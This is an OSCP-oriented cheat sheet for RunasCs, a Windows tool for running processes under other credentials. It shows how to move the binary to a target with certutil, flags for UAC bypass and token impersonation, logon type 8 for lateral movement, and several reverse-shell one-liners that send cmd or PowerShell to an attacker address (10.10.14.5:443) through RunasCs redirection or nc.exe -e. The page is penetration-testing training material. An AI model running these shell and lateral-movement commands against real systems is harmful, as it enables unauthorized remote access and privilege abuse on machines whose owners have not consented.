RunasCs — Run As Another User (Windows)
RunasCs (antonioCoco/RunasCs) runs a process under different credentials — open-source upgrade over built-in runas.exe. Supports logon types, remote stdin/stdout redirect, and optional UAC bypass.
OSCP use: You have username + password (or recovered creds) but
runasfails or gives no shell → RunasCs with-l 8(NetworkCleartext) or-rreverse redirect.
Alternatives: evil-winrm, Impacket psexec/wmiexec, CrackMapExec - nxc exec.
Download & Transfer
# Kali — fetch release
# https://github.com/antonioCoco/RunasCs/releases
# Serve to target
python3 -m http.server 8080
# Target:
certutil -urlcache -split -f http://192.168.49.126/RunasCs.exe RunasCs.exeSee certutil · File Transfer
📌 Syntax
RunasCs.exe username password "command" [options]
RunasCs.exe -d DOMAIN -u user -p pass "command"| Flag | Description |
|---|---|
-d, --domain | Domain name |
-u, --username | Username |
-p, --password | Password (when using -u) |
-l, --logon-type N | Logon type (see below) |
-r, --remote host:port | Redirect stdin/stdout/stderr to attacker (reverse shell) |
-f, --function | CreateProcess / CreateProcessWithTokenW / CreateProcessWithLogonW |
-b, --bypass-uac | Attempt UAC bypass (unfiltered token) |
--force-profile | Create/load user profile |
-i, --remote-impersonation | Impersonate logged-on user token |
--process-timeout | Kill process after N ms |
📌 Logon Types (important)
| Type | Name | Notes |
|---|---|---|
2 | Interactive | Default — UAC filters local token |
8 | NetworkCleartext | Preferred for lateral movement — fewer UAC limits, works over network |
REM Prefer logon type 8
RunasCs.exe user pass "cmd.exe /c whoami" -d corp.local -l 8📌 Examples
Run command as domain user
RunasCs.exe jsmith Password123! "whoami" -d corp.local -l 8
RunasCs.exe jsmith Password123! "cmd.exe /c ipconfig" -d corp.local -l 8Reverse shell via remote redirect
# Attacker
nc -lvnp 443REM Target — stdout/stderr to your listener
RunasCs.exe user pass powershell.exe -r 10.10.14.5:443 -l 8
RunasCs.exe user pass "C:\Windows\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" -d corp.local -l 8Spawn PowerShell on remote host (from writeup pattern)
RunasCs.exe -d corp.local -l 8 "jsmith" "Password1" "powershell.exe -ep bypass -f C:\Temp\shell.ps1"📌 When to Use What
| Situation | Tool |
|---|---|
| WinRM open, have creds | evil-winrm |
| SMB admin, need shell from Linux | Impacket wmiexec/psexec |
| On Windows shell, have creds, runas fails | RunasCs -l 8 |
| Have NTLM hash only | Impacket -hashes · CrackMapExec - nxc |
| Need LDAP/AD write | bloodyAD |
Chain: found password → Credential Graph → try everywhere → RunasCs on Windows if remote exec blocked.
📌 Quick Cheat Sheet
RunasCs.exe USER PASS "whoami" -d DOMAIN -l 8
RunasCs.exe USER PASS powershell.exe -r ATTACKER:443 -l 8